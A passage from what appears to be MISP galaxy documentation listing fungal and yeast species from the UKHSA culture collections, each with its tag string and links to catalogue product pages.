https://www.culturecollections.org.uk/nop/product/aspergillus-versicolor-species-complex-8
https://www.culturecollections.org.uk/nop/product/aspergillus-versicolor-species-complex-7
https://www.culturecollections.org.uk/nop/product/aspergillus-versicolor-species-complex-6
https://www.culturecollections.org.uk/nop/product/aspergillus-versicolor-species-complex-5

https://www.culturecollections.org.uk/nop/product/aspergillus-versicolor-species-complex-4
https://www.culturecollections.org.uk/nop/product/aspergillus-versicolor-species-complex-3
https://www.culturecollections.org.uk/nop/product/aspergillus-versicolor-species-complex-2
https://www.culturecollections.org.uk/nop/product/aspergillus-versicolor-species-complex

Lomentospora prolificans

The tag is: *misp-galaxy:ukhsa-culture-collections="Lomentospora prolificans"*

Table 27354. Table References

Links
https://www.culturecollections.org.uk/nop/product/lomentospora-prolificans-32
https://www.culturecollections.org.uk/nop/product/lomentospora-prolificans-29
https://www.culturecollections.org.uk/nop/product/lomentospora-prolificans-27
https://www.culturecollections.org.uk/nop/product/lomentospora-prolificans-25
https://www.culturecollections.org.uk/nop/product/lomentospora-prolificans-20
https://www.culturecollections.org.uk/nop/product/lomentospora-prolificans-19
https://www.culturecollections.org.uk/nop/product/lomentospora-prolificans-8
https://www.culturecollections.org.uk/nop/product/lomentospora-prolificans-4
https://www.culturecollections.org.uk/nop/product/lomentospora-prolificans

Byssochlamys laguncularіae

The tag is: *misp-galaxy:ukhsa-culture-collections="Byssochlamys laguncularіae"*

Table 27355. Table References

Links
https://www.culturecollections.org.uk/nop/product/byssochlamys-laguncularіae

Ramichloridium anceps

The tag is: *misp-galaxy:ukhsa-culture-collections="Ramichloridium anceps"*

Table 27356. Table References

Links
https://www.culturecollections.org.uk/nop/product/ramichloridium-anceps

Gibberella fujikuroi Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Gibberella fujikuroi Species Complex"*

Table 27357. Table References

Links
https://www.culturecollections.org.uk/nop/product/gibberella-fujikuroi-species-complex-3
https://www.culturecollections.org.uk/nop/product/gibberella-fujikuroi-species-complex

Acremonium blochii

The tag is: *misp-galaxy:ukhsa-culture-collections="Acremonium blochii"*

Table 27358. Table References

Links
https://www.culturecollections.org.uk/nop/product/acremonium-blochii

Sporothrix schenckii Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Sporothrix schenckii Species Complex"*

Table 27359. Table References

Links
https://www.culturecollections.org.uk/nop/product/sporothrix-schenckii-species-complex-21
https://www.culturecollections.org.uk/nop/product/sporothrix-schenckii-species-complex-18
https://www.culturecollections.org.uk/nop/product/sporothrix-schenckii-species-complex-11
https://www.culturecollections.org.uk/nop/product/sporothrix-schenckii-species-complex-4
https://www.culturecollections.org.uk/nop/product/sporothrix-schenckii-species-complex-3

Aspergillus flavus Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus flavus Species Complex"*

Table 27360. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-flavus-species-complex-31
https://www.culturecollections.org.uk/nop/product/aspergillus-flavus-species-complex-30
https://www.culturecollections.org.uk/nop/product/aspergillus-flavus-species-complex-28
https://www.culturecollections.org.uk/nop/product/aspergillus-flavus-species-complex-25
https://www.culturecollections.org.uk/nop/product/aspergillus-flavus-species-complex-22

https://www.culturecollections.org.uk/nop/product/aspergillus-flavus-species-complex-21
https://www.culturecollections.org.uk/nop/product/aspergillus-flavus-species-complex-18
https://www.culturecollections.org.uk/nop/product/aspergillus-flavus-species-complex-14
https://www.culturecollections.org.uk/nop/product/aspergillus-flavus-species-complex-13
https://www.culturecollections.org.uk/nop/product/aspergillus-flavus-species-complex-9
https://www.culturecollections.org.uk/nop/product/aspergillus-flavus-species-complex-7
https://www.culturecollections.org.uk/nop/product/aspergillus-flavus-species-complex-6
https://www.culturecollections.org.uk/nop/product/aspergillus-flavus-species-complex-5
https://www.culturecollections.org.uk/nop/product/aspergillus-flavus-species-complex-4
https://www.culturecollections.org.uk/nop/product/aspergillus-flavus-species-complex-2
https://www.culturecollections.org.uk/nop/product/aspergillus-flavus-species-complex

Onychocola canadensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Onychocola canadensis"*

Table 27361. Table References

Links
https://www.culturecollections.org.uk/nop/product/onychocola-canadensis-22
https://www.culturecollections.org.uk/nop/product/onychocola-canadensis-20
https://www.culturecollections.org.uk/nop/product/onychocola-canadensis-19
https://www.culturecollections.org.uk/nop/product/onychocola-canadensis-17
https://www.culturecollections.org.uk/nop/product/onychocola-canadensis-13
https://www.culturecollections.org.uk/nop/product/onychocola-canadensis-11
https://www.culturecollections.org.uk/nop/product/onychocola-canadensis-5
https://www.culturecollections.org.uk/nop/product/onychocola-canadensis-4
https://www.culturecollections.org.uk/nop/product/onychocola-canadensis-3
https://www.culturecollections.org.uk/nop/product/onychocola-canadensis-2

Aspergillus ustus

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus ustus"*

Table 27362. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-ustus-8
https://www.culturecollections.org.uk/nop/product/aspergillus-ustus-5

https://www.culturecollections.org.uk/nop/product/aspergillus-ustus-4
https://www.culturecollections.org.uk/nop/product/aspergillus-ustus-3
https://www.culturecollections.org.uk/nop/product/aspergillus-ustus

Coniochaeta mutabilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Coniochaeta mutabilis"*

Table 27363. Table References

Links
https://www.culturecollections.org.uk/nop/product/coniochaeta-mutabilis-4
https://www.culturecollections.org.uk/nop/product/coniochaeta-mutabilis-5
https://www.culturecollections.org.uk/nop/product/coniochaeta-mutabilis-3
https://www.culturecollections.org.uk/nop/product/coniochaeta-mutabilis-2
https://www.culturecollections.org.uk/nop/product/coniochaeta-mutabilis

Scytalidium lignicola

The tag is: *misp-galaxy:ukhsa-culture-collections="Scytalidium lignicola"*

Table 27364. Table References

Links
https://www.culturecollections.org.uk/nop/product/scytalidium-lignicola-3
https://www.culturecollections.org.uk/nop/product/scytalidium-lignicola-2
https://www.culturecollections.org.uk/nop/product/scytalidium-lignicola

Curvularia lunata

The tag is: *misp-galaxy:ukhsa-culture-collections="Curvularia lunata"*

Table 27365. Table References

Links
https://www.culturecollections.org.uk/nop/product/curvularia-lunata-12
https://www.culturecollections.org.uk/nop/product/curvularia-lunata-11
https://www.culturecollections.org.uk/nop/product/curvularia-lunata-9
https://www.culturecollections.org.uk/nop/product/curvularia-lunata-3
https://www.culturecollections.org.uk/nop/product/curvularia-lunata

Rhinocladiella aquaspersa

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhinocladiella aquaspersa"*

Table 27366. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhinocladiella-aquaspersa

Fonsecaea pedrosoi

The tag is: *misp-galaxy:ukhsa-culture-collections="Fonsecaea pedrosoi"*

Table 27367. Table References

Links
https://www.culturecollections.org.uk/nop/product/fonsecaea-pedrosoi-26
https://www.culturecollections.org.uk/nop/product/fonsecaea-pedrosoi-25
https://www.culturecollections.org.uk/nop/product/fonsecaea-pedrosoi-15
https://www.culturecollections.org.uk/nop/product/fonsecaea-pedrosoi-12
https://www.culturecollections.org.uk/nop/product/fonsecaea-pedrosoi-6
https://www.culturecollections.org.uk/nop/product/fonsecaea-pedrosoi-5
https://www.culturecollections.org.uk/nop/product/fonsecaea-pedrosoi-4
https://www.culturecollections.org.uk/nop/product/fonsecaea-pedrosoi-2
https://www.culturecollections.org.uk/nop/product/fonsecaea-pedrosoi

Conidiobolus coronatus

The tag is: *misp-galaxy:ukhsa-culture-collections="Conidiobolus coronatus"*

Table 27368. Table References

Links
https://www.culturecollections.org.uk/nop/product/conidiobolus-coronatus-3
https://www.culturecollections.org.uk/nop/product/conidiobolus-coronatus-2
https://www.culturecollections.org.uk/nop/product/conidiobolus-coronatus

Syncephalastrum racemosum

The tag is: *misp-galaxy:ukhsa-culture-collections="Syncephalastrum racemosum"*

Table 27369. Table References

Links

https://www.culturecollections.org.uk/nop/product/syncephalastrum-racemosum-5
https://www.culturecollections.org.uk/nop/product/syncephalastrum-racemosum-4
https://www.culturecollections.org.uk/nop/product/syncephalastrum-racemosum-3
https://www.culturecollections.org.uk/nop/product/syncephalastrum-racemosum-2
https://www.culturecollections.org.uk/nop/product/syncephalastrum-racemosum

Mucor racemosus

The tag is: *misp-galaxy:ukhsa-culture-collections="Mucor racemosus"*

Table 27370. Table References

Links
https://www.culturecollections.org.uk/nop/product/mucor-racemosus-2
https://www.culturecollections.org.uk/nop/product/mucor-racemosus

Paecilomyces farinosus

The tag is: *misp-galaxy:ukhsa-culture-collections="Paecilomyces farinosus"*

Table 27371. Table References

Links
https://www.culturecollections.org.uk/nop/product/paecilomyces-farinosus-2
https://www.culturecollections.org.uk/nop/product/paecilomyces-farinosus

Medicopsis romeroi

The tag is: *misp-galaxy:ukhsa-culture-collections="Medicopsis romeroi"*

Table 27372. Table References

Links
https://www.culturecollections.org.uk/nop/product/medicopsis-romeroi-14
https://www.culturecollections.org.uk/nop/product/medicopsis-romeroi-13
https://www.culturecollections.org.uk/nop/product/medicopsis-romeroi-8
https://www.culturecollections.org.uk/nop/product/medicopsis-romeroi-2
https://www.culturecollections.org.uk/nop/product/medicopsis-romeroi

Coniochaeta hoffmannii

The tag is: *misp-galaxy:ukhsa-culture-collections="Coniochaeta hoffmannii"*

Table 27373. Table References

Links
https://www.culturecollections.org.uk/nop/product/coniochaeta-hoffmannii-2
https://www.culturecollections.org.uk/nop/product/coniochaeta-hoffmannii

Microascus brevicaulis

The tag is: *misp-galaxy:ukhsa-culture-collections="Microascus brevicaulis"*

Table 27374. Table References

Links
https://www.culturecollections.org.uk/nop/product/microascus-brevicaulis-10
https://www.culturecollections.org.uk/nop/product/microascus-brevicaulis-9
https://www.culturecollections.org.uk/nop/product/microascus-brevicaulis-7
https://www.culturecollections.org.uk/nop/product/microascus-brevicaulis-5
https://www.culturecollections.org.uk/nop/product/microascus-brevicaulis-4

Scedosporium apiospermum Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Scedosporium apiospermum Species Complex"*

Table 27375. Table References

Links
https://www.culturecollections.org.uk/nop/product/scedosporium-apiospermum-species-complex-102
https://www.culturecollections.org.uk/nop/product/scedosporium-apiospermum-species-complex-87
https://www.culturecollections.org.uk/nop/product/scedosporium-apiospermum-species-complex-72
https://www.culturecollections.org.uk/nop/product/scedosporium-apiospermum-species-complex-32
https://www.culturecollections.org.uk/nop/product/scedosporium-apiospermum-species-complex-30
https://www.culturecollections.org.uk/nop/product/scedosporium-apiospermum-species-complex-25
https://www.culturecollections.org.uk/nop/product/scedosporium-apiospermum-species-complex-24
https://www.culturecollections.org.uk/nop/product/scedosporium-apiospermum-species-complex-23

https://www.culturecollections.org.uk/nop/product/scedosporium-apiospermum-species-complex-18
https://www.culturecollections.org.uk/nop/product/scedosporium-apiospermum-species-complex-9
https://www.culturecollections.org.uk/nop/product/scedosporium-apiospermum-species-complex-6
https://www.culturecollections.org.uk/nop/product/scedosporium-apiospermum-species-complex-2
https://www.culturecollections.org.uk/nop/product/scedosporium-apiospermum-species-complex

Aspergillus flavipes

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus flavipes"*

Table 27376. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-flavipes-3
https://www.culturecollections.org.uk/nop/product/aspergillus-flavipes-2
https://www.culturecollections.org.uk/nop/product/aspergillus-flavipes

Phaeococcomyces nigricans

The tag is: *misp-galaxy:ukhsa-culture-collections="Phaeococcomyces nigricans"*

Table 27377. Table References

Links
https://www.culturecollections.org.uk/nop/product/phaeococcomyces-nigricans

Fonsecaea compacta

The tag is: *misp-galaxy:ukhsa-culture-collections="Fonsecaea compacta"*

Table 27378. Table References

Links
https://www.culturecollections.org.uk/nop/product/fonsecaea-compacta-15
https://www.culturecollections.org.uk/nop/product/fonsecaea-compacta-12
https://www.culturecollections.org.uk/nop/product/fonsecaea-compacta-8
https://www.culturecollections.org.uk/nop/product/fonsecaea-compacta-5
https://www.culturecollections.org.uk/nop/product/fonsecaea-compacta

Aspergillus glaucus Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus glaucus Species Complex"*

Table 27379. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-glaucus-species-complex-4
https://www.culturecollections.org.uk/nop/product/aspergillus-glaucus-species-complex-3
https://www.culturecollections.org.uk/nop/product/aspergillus-glaucus-species-complex-2
https://www.culturecollections.org.uk/nop/product/aspergillus-glaucus-species-complex

Fusarium incarnatum

The tag is: *misp-galaxy:ukhsa-culture-collections="Fusarium incarnatum"*

Table 27380. Table References

Links
https://www.culturecollections.org.uk/nop/product/fusarium-incarnatum-3
https://www.culturecollections.org.uk/nop/product/fusarium-incarnatum-2
https://www.culturecollections.org.uk/nop/product/fusarium-incarnatum

Aspergillus candidus

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus candidus"*

Table 27381. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-candidus-6
https://www.culturecollections.org.uk/nop/product/aspergillus-candidus-4
https://www.culturecollections.org.uk/nop/product/aspergillus-candidus-3
https://www.culturecollections.org.uk/nop/product/aspergillus-candidus-2
https://www.culturecollections.org.uk/nop/product/aspergillus-candidus

Curvularia hawaiiensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Curvularia hawaiiensis"*

Table 27382. Table References

Links
https://www.culturecollections.org.uk/nop/product/curvularia-hawaiiensis-5
https://www.culturecollections.org.uk/nop/product/curvularia-hawaiiensis-4
https://www.culturecollections.org.uk/nop/product/curvularia-hawaiiensis-3
https://www.culturecollections.org.uk/nop/product/curvularia-hawaiiensis-2

https://www.culturecollections.org.uk/nop/product/curvularia-hawaiiensis

Cladosporium sphaerospermum Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Cladosporium sphaerospermum Species Complex"*

Table 27383. Table References

Links
https://www.culturecollections.org.uk/nop/product/cladosporium-sphaerospermum-species-complex-4
https://www.culturecollections.org.uk/nop/product/cladosporium-sphaerospermum-species-complex-3
https://www.culturecollections.org.uk/nop/product/cladosporium-sphaerospermum-species-complex-2
https://www.culturecollections.org.uk/nop/product/cladosporium-sphaerospermum-species-complex

Candida tropicalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida tropicalis"*

Table 27384. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-tropicalis-41
https://www.culturecollections.org.uk/nop/product/candida-tropicalis-38
https://www.culturecollections.org.uk/nop/product/candida-tropicalis-32
https://www.culturecollections.org.uk/nop/product/candida-tropicalis-29
https://www.culturecollections.org.uk/nop/product/candida-tropicalis-28
https://www.culturecollections.org.uk/nop/product/candida-tropicalis-19
https://www.culturecollections.org.uk/nop/product/candida-tropicalis-10
https://www.culturecollections.org.uk/nop/product/candida-tropicalis-5
https://www.culturecollections.org.uk/nop/product/candida-tropicalis-4
https://www.culturecollections.org.uk/nop/product/candida-tropicalis-7

Trichothecium roseum

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichothecium roseum"*

Table 27385. Table References

Links

https://www.culturecollections.org.uk/nop/product/trichothecium-roseum-2
https://www.culturecollections.org.uk/nop/product/trichothecium-roseum

Hortaea werneckii

The tag is: *misp-galaxy:ukhsa-culture-collections="Hortaea werneckii"*

Table 27386. Table References

Links
https://www.culturecollections.org.uk/nop/product/hortaea-werneckii-11
https://www.culturecollections.org.uk/nop/product/hortaea-werneckii-10
https://www.culturecollections.org.uk/nop/product/hortaea-werneckii-8
https://www.culturecollections.org.uk/nop/product/hortaea-werneckii-6
https://www.culturecollections.org.uk/nop/product/hortaea-werneckii-2
https://www.culturecollections.org.uk/nop/product/hortaea-werneckii

Candida inconspicua

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida inconspicua"*

Table 27387. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-inconspicua-10
https://www.culturecollections.org.uk/nop/product/candida-inconspicua-9
https://www.culturecollections.org.uk/nop/product/candida-inconspicua-8
https://www.culturecollections.org.uk/nop/product/candida-inconspicua-7
https://www.culturecollections.org.uk/nop/product/candida-inconspicua-6
https://www.culturecollections.org.uk/nop/product/candida-inconspicua-5
https://www.culturecollections.org.uk/nop/product/candida-inconspicua-4
https://www.culturecollections.org.uk/nop/product/candida-inconspicua-2
https://www.culturecollections.org.uk/nop/product/candida-inconspicua

Prototheca zopfii

The tag is: *misp-galaxy:ukhsa-culture-collections="Prototheca zopfii"*

Table 27388. Table References

Links
https://www.culturecollections.org.uk/nop/product/prototheca-zopfii-3

https://www.culturecollections.org.uk/nop/product/prototheca-zopfii-2
https://www.culturecollections.org.uk/nop/product/prototheca-zopfii

Pseudochaetosphaeronema larense

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudochaetosphaeronema larense"*

Table 27389. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudochaetosphaeronema-larense

Cyberlindnera jadinii

The tag is: *misp-galaxy:ukhsa-culture-collections="Cyberlindnera jadinii"*

Table 27390. Table References

Links
https://www.culturecollections.org.uk/nop/product/cyberlindnera-jadinii-3
https://www.culturecollections.org.uk/nop/product/cyberlindnera-jadinii-2
https://www.culturecollections.org.uk/nop/product/cyberlindnera-jadinii

Yarrowia lipolytica

The tag is: *misp-galaxy:ukhsa-culture-collections="Yarrowia lipolytica"*

Table 27391. Table References

Links
https://www.culturecollections.org.uk/nop/product/yarrowia-lipolytica-5
https://www.culturecollections.org.uk/nop/product/yarrowia-lipolytica-4
https://www.culturecollections.org.uk/nop/product/yarrowia-lipolytica-3
https://www.culturecollections.org.uk/nop/product/yarrowia-lipolytica-2

Basipetospora rubra

The tag is: *misp-galaxy:ukhsa-culture-collections="Basipetospora rubra"*

Table 27392. Table References

Links
https://www.culturecollections.org.uk/nop/product/basipetospora-rubra-12
https://www.culturecollections.org.uk/nop/product/basipetospora-rubra-8

https://www.culturecollections.org.uk/nop/product/basipetospora-rubra-6
https://www.culturecollections.org.uk/nop/product/basipetospora-rubra-4
https://www.culturecollections.org.uk/nop/product/basipetospora-rubra-3

Candida pseudoglaebosa

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida pseudoglaebosa"*

Table 27393. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-pseudoglaebosa

Metschnikowia pulcherrima

The tag is: *misp-galaxy:ukhsa-culture-collections="Metschnikowia pulcherrima"*

Table 27394. Table References

Links
https://www.culturecollections.org.uk/nop/product/metschnikowia-pulcherrima-4
https://www.culturecollections.org.uk/nop/product/metschnikowia-pulcherrima-3
https://www.culturecollections.org.uk/nop/product/metschnikowia-pulcherrima-2
https://www.culturecollections.org.uk/nop/product/metschnikowia-pulcherrima

Candida blankii

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida blankii"*

Table 27395. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-blankii-3
https://www.culturecollections.org.uk/nop/product/candida-blankii-2
https://www.culturecollections.org.uk/nop/product/candida-blankii

Mucor hiemalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mucor hiemalis"*

Table 27396. Table References

Links
https://www.culturecollections.org.uk/nop/product/mucor-hiemalis-4

https://www.culturecollections.org.uk/nop/product/mucor-hiemalis-3
https://www.culturecollections.org.uk/nop/product/mucor-hiemalis

Diutina catenulata

The tag is: *misp-galaxy:ukhsa-culture-collections="Diutina catenulata"*

Table 27397. Table References

Links
https://www.culturecollections.org.uk/nop/product/diutina-catenulata

Sporobolomyces salmonicolor

The tag is: *misp-galaxy:ukhsa-culture-collections="Sporobolomyces salmonicolor"*

Table 27398. Table References

Links
https://www.culturecollections.org.uk/nop/product/sporobolomyces-salmonicolor-4
https://www.culturecollections.org.uk/nop/product/sporobolomyces-salmonicolor-3
https://www.culturecollections.org.uk/nop/product/sporobolomyces-salmonicolor-2
https://www.culturecollections.org.uk/nop/product/sporobolomyces-salmonicolor

Rhodotorula mucilaginosa

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhodotorula mucilaginosa"*

Table 27399. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhodotorula-mucilaginosa-20
https://www.culturecollections.org.uk/nop/product/rhodotorula-mucilaginosa-19
https://www.culturecollections.org.uk/nop/product/rhodotorula-mucilaginosa-17
https://www.culturecollections.org.uk/nop/product/rhodotorula-mucilaginosa-16
https://www.culturecollections.org.uk/nop/product/rhodotorula-mucilaginosa-15

Candida glabrata

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida glabrata"*

Table 27400. Table References

Links

https://www.culturecollections.org.uk/nop/product/candida-glabrata-49
https://www.culturecollections.org.uk/nop/product/candida-glabrata-35
https://www.culturecollections.org.uk/nop/product/candida-glabrata-25
https://www.culturecollections.org.uk/nop/product/candida-glabrata-15
https://www.culturecollections.org.uk/nop/product/candida-glabrata-14
https://www.culturecollections.org.uk/nop/product/candida-glabrata-12
https://www.culturecollections.org.uk/nop/product/candida-glabrata-8
https://www.culturecollections.org.uk/nop/product/candida-glabrata-5
https://www.culturecollections.org.uk/nop/product/candida-glabrata-2
https://www.culturecollections.org.uk/nop/product/candida-glabrata-17

Candida freyschussii

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida freyschussii"*

Table 27401. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-freyschussii

Pichia kluyveri

The tag is: *misp-galaxy:ukhsa-culture-collections="Pichia kluyveri"*

Table 27402. Table References

Links
https://www.culturecollections.org.uk/nop/product/pichia-kluyveri

Candida dubliniensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida dubliniensis"*

Table 27403. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-dubliniensis-26
https://www.culturecollections.org.uk/nop/product/candida-dubliniensis-24
https://www.culturecollections.org.uk/nop/product/candida-dubliniensis-9
https://www.culturecollections.org.uk/nop/product/candida-dubliniensis-3
https://www.culturecollections.org.uk/nop/product/candida-dubliniensis

Absidia spinosa

The tag is: *misp-galaxy:ukhsa-culture-collections="Absidia spinosa"*

Table 27404. Table References

Links
https://www.culturecollections.org.uk/nop/product/absidia-spinosa

Dipodascus geotrichum

The tag is: *misp-galaxy:ukhsa-culture-collections="Dipodascus geotrichum"*

Table 27405. Table References

Links
https://www.culturecollections.org.uk/nop/product/dipodascus-geotrichum-7
https://www.culturecollections.org.uk/nop/product/dipodascus-geotrichum-6
https://www.culturecollections.org.uk/nop/product/dipodascus-geotrichum-3
https://www.culturecollections.org.uk/nop/product/dipodascus-geotrichum

Prototheca wickerhamii

The tag is: *misp-galaxy:ukhsa-culture-collections="Prototheca wickerhamii"*

Table 27406. Table References

Links
https://www.culturecollections.org.uk/nop/product/prototheca-wickerhamii-7
https://www.culturecollections.org.uk/nop/product/prototheca-wickerhamii-4
https://www.culturecollections.org.uk/nop/product/prototheca-wickerhamii-3
https://www.culturecollections.org.uk/nop/product/prototheca-wickerhamii-2
https://www.culturecollections.org.uk/nop/product/prototheca-wickerhamii

Candida magnoliae

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida magnoliae"*

Table 27407. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-magnoliae

Trichosporon beigelii Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichosporon beigelii Species Complex"*

Table 27408. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichosporon-beigelii-species-complex-30
https://www.culturecollections.org.uk/nop/product/trichosporon-beigelii-species-complex-12
https://www.culturecollections.org.uk/nop/product/trichosporon-beigelii-species-complex-3
https://www.culturecollections.org.uk/nop/product/trichosporon-beigelii-species-complex
https://www.culturecollections.org.uk/nop/product/trichosporon-beigelii-species-complex-2

Trichophyton gourvilii

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton gourvilii"*

Table 27409. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-gourvilii-6
https://www.culturecollections.org.uk/nop/product/trichophyton-gourvilii-5
https://www.culturecollections.org.uk/nop/product/trichophyton-gourvilii-4
https://www.culturecollections.org.uk/nop/product/trichophyton-gourvilii-3
https://www.culturecollections.org.uk/nop/product/trichophyton-gourvilii-2
https://www.culturecollections.org.uk/nop/product/trichophyton-gourvilii

Trichophyton mentagrophytes

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton mentagrophytes"*

Table 27410. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-29
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-20
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-19
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-18
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-17
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-13
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-12

https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-11
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-10
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-9
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-7
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-6
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-5
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-4
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-2

Diutina rugosa

The tag is: *misp-galaxy:ukhsa-culture-collections="Diutina rugosa"*

Table 27411. Table References

Links
https://www.culturecollections.org.uk/nop/product/diutina-rugosa-7
https://www.culturecollections.org.uk/nop/product/diutina-rugosa-6
https://www.culturecollections.org.uk/nop/product/diutina-rugosa-3
https://www.culturecollections.org.uk/nop/product/diutina-rugosa-2
https://www.culturecollections.org.uk/nop/product/diutina-rugosa

Chrysosporium inops

The tag is: *misp-galaxy:ukhsa-culture-collections="Chrysosporium inops"*

Table 27412. Table References

Links
https://www.culturecollections.org.uk/nop/product/chrysosporium-inops

Nannizziopsis vriesii

The tag is: *misp-galaxy:ukhsa-culture-collections="Nannizziopsis vriesii"*

Table 27413. Table References

Links
https://www.culturecollections.org.uk/nop/product/nannizziopsis-vriesii

Chrysosporium sulfureum

The tag is: *misp-galaxy:ukhsa-culture-collections="Chrysosporium sulfureum"*

Table 27414. Table References

Links
https://www.culturecollections.org.uk/nop/product/chrysosporium-sulfureum

Thermothelomyces thermophila

The tag is: *misp-galaxy:ukhsa-culture-collections="Thermothelomyces thermophila"*

Table 27415. Table References

Links
https://www.culturecollections.org.uk/nop/product/thermothelomyces-thermophila-6
https://www.culturecollections.org.uk/nop/product/thermothelomyces-thermophila-5
https://www.culturecollections.org.uk/nop/product/thermothelomyces-thermophila-4
https://www.culturecollections.org.uk/nop/product/thermothelomyces-thermophila-3
https://www.culturecollections.org.uk/nop/product/thermothelomyces-thermophila

Chrysosporium lobatum

The tag is: *misp-galaxy:ukhsa-culture-collections="Chrysosporium lobatum"*

Table 27416. Table References

Links
https://www.culturecollections.org.uk/nop/product/chrysosporium-lobatum

Saprochaete capitata

The tag is: *misp-galaxy:ukhsa-culture-collections="Saprochaete capitata"*

Table 27417. Table References

Links
https://www.culturecollections.org.uk/nop/product/saprochaete-capitata-5
https://www.culturecollections.org.uk/nop/product/saprochaete-capitata-4
https://www.culturecollections.org.uk/nop/product/saprochaete-capitata-3
https://www.culturecollections.org.uk/nop/product/saprochaete-capitata-2
https://www.culturecollections.org.uk/nop/product/saprochaete-capitata

Chrysosporium carmichaelii

The tag is: *misp-galaxy:ukhsa-culture-collections="Chrysosporium carmichaelii"*

Table 27418. Table References

Links
https://www.culturecollections.org.uk/nop/product/chrysosporium-carmichaelii

Rhodotorula minuta

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhodotorula minuta"*

Table 27419. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhodotorula-minuta

Neogymnomyces demonbreunii

The tag is: *misp-galaxy:ukhsa-culture-collections="Neogymnomyces demonbreunii"*

Table 27420. Table References

Links
https://www.culturecollections.org.uk/nop/product/neogymnomyces-demonbreunii

Chrysosporium lucknowense

The tag is: *misp-galaxy:ukhsa-culture-collections="Chrysosporium lucknowense"*

Table 27421. Table References

Links
https://www.culturecollections.org.uk/nop/product/chrysosporium-lucknowense

Chrysosporium tropicum

The tag is: *misp-galaxy:ukhsa-culture-collections="Chrysosporium tropicum"*

Table 27422. Table References

Links
https://www.culturecollections.org.uk/nop/product/chrysosporium-tropicum

Debaryomyces hansenii

The tag is: *misp-galaxy:ukhsa-culture-collections="Debaryomyces hansenii"*

Table 27423. Table References

Links
https://www.culturecollections.org.uk/nop/product/debaryomyces-hansenii-6
https://www.culturecollections.org.uk/nop/product/debaryomyces-hansenii-3

Pectinotrichum llanense

The tag is: *misp-galaxy:ukhsa-culture-collections="Pectinotrichum llanense"*

Table 27424. Table References

Links
https://www.culturecollections.org.uk/nop/product/pectinotrichum-llanense

Chrysosporium merdarium

The tag is: *misp-galaxy:ukhsa-culture-collections="Chrysosporium merdarium"*

Table 27425. Table References

Links
https://www.culturecollections.org.uk/nop/product/chrysosporium-merdarium

Arthroderma curreyi

The tag is: *misp-galaxy:ukhsa-culture-collections="Arthroderma curreyi"*

Table 27426. Table References

Links
https://www.culturecollections.org.uk/nop/product/arthroderma-curreyi

Cutaneotrichosporon mucoides

The tag is: *misp-galaxy:ukhsa-culture-collections="Cutaneotrichosporon mucoides"*

Table 27427. Table References

Links
https://www.culturecollections.org.uk/nop/product/cutaneotrichosporon-mucoides-3
https://www.culturecollections.org.uk/nop/product/cutaneotrichosporon-mucoides-2

https://www.culturecollections.org.uk/nop/product/cutaneotrichosporon-mucoides

Candida pseudointermedia

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida pseudointermedia"*

Table 27428. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-pseudointermedia

Candida metapsilosis
